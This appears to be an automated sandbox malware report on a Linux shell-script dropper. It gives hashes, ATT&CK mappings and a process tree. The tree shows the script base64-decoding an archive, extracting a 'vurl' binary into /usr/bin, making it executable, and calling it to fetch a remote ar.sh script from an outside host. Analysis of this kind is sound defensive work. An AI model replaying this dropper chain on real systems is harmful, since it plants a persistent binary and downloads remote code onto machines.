0ada3a819a2cdffe006e9272a7d7921a8bc90b3ca4bdd667186510a65f75b658

Analysis

max time kernel
0s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/06/2026, 12:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
t.sh
Size 5KB
Sample260608-pgj6dsds2l
SHA256 0ada3a819a2cdffe006e9272a7d7921a8bc90b3ca4bdd667186510a65f75b658
MD5 9c6c1c2a43a46435597c5493193beb4b
SHA1 6587b8e401f4bdd3d3a14a9e6915f0aa82eccafd
SHA512 492086b9f716d4a22f24d3929b2858bfb775b86e3c45e3cf35b1e6f87692afa7800d27b2e031af12d861a03e2ebef45506d1497f746e8ac47c90d55b907c2f19
SSDEEP 96:eJsUa4j4k+q0O+iWznX82ty+/TkIiB7+YG5TMmpzIrfBjhnjdV6Vqc:eIHq6iWpp/SB7epjpzIrfjjfc
TLSH
T191B17DD5D11043EE4CC4FC4261858A14B42D66E14FC37BBC752163365AE4277C9DACAB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
663	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/usr/bin/vurl	666	t.sh

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/vurl	tar

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
653	base64

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/filesystems	tar

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/vb.tar	t.sh

/tmp/t.sh
/tmp/t.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:641
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:648
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:653
- /bin/tar
  tar -xf /tmp/vb.tar -C /usr/bin/
  2⤵
  - Write file to user bin folder
  - Reads runtime system information
  PID:657
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:661
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:661
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:661
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:661
- - /sbin/gzip
    gzip -d
    3⤵
    PID:661
- - /bin/gzip
    gzip -d
    3⤵
    PID:661
- /bin/chmod
  chmod +x /usr/bin/vurl
  2⤵
  - File and Directory Permissions Modification
  PID:663
- /bin/bash
  bash
  2⤵
  PID:667
- /usr/bin/vurl
  vurl http://www.bing.com/brysj/d/ar.sh
  2⤵
  PID:666

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

vb.tar

Path /tmp/vb.tar
Size 3KB
SHA256 51fc20fca68ac59c8f2b9fe1db0a9fa8cc9331b4b88c25036cb4e6daea49a99c
MD5 b3e8eddc8644a68eeb922a2dd972fc8a
SHA1 02c5909eb48b1c64c71a9741f38c9de3640064be
SHA512 00ba53b6ced585a353a70650a362d77430bda259473f3154d6447fc7bbfd08a53d308c1e334a81b5e9355ee9af2e0ce33ad813b7fbc22502f673dddce48b9f3e
TLSH
T1ED713B414282C1CD4A7CE0DD35FE5581B83B69590920A24EAE2B0F50F63FF68E1B2E1B
MD5 SHA1 SHA512 TLSH

Submit Download

vurl

Path /usr/bin/vurl
Size 13KB
SHA256 fdda14d3bc993960991ac6c95964514444e730f04b76d607df6e59087761648d
MD5 fef5a8254400cba5202a4ca09a26b823
SHA1 e811e844c8266cecfa6b94d5c885546e3e754005
SHA512 5de51e1d647d18f8c24625d7cda916a28afbde82d8642bda0e15a6bfdb14eff6c0f5db553c6f69ba295d54f456141c6b0ba7238980337276ad44d680a38738b3
SSDEEP 192:GHDLF22VY/KEFQJ2GVANQsMPpLsH0Srs:IXFxVY/KEFQJ2NSdSR
TLSH
T1A1522147E6928A3FC4D543780467863472B3DCB4AB166323290965F61F923CC1E7EB9A
MD5 SHA1 SHA512 SSDEEP TLSH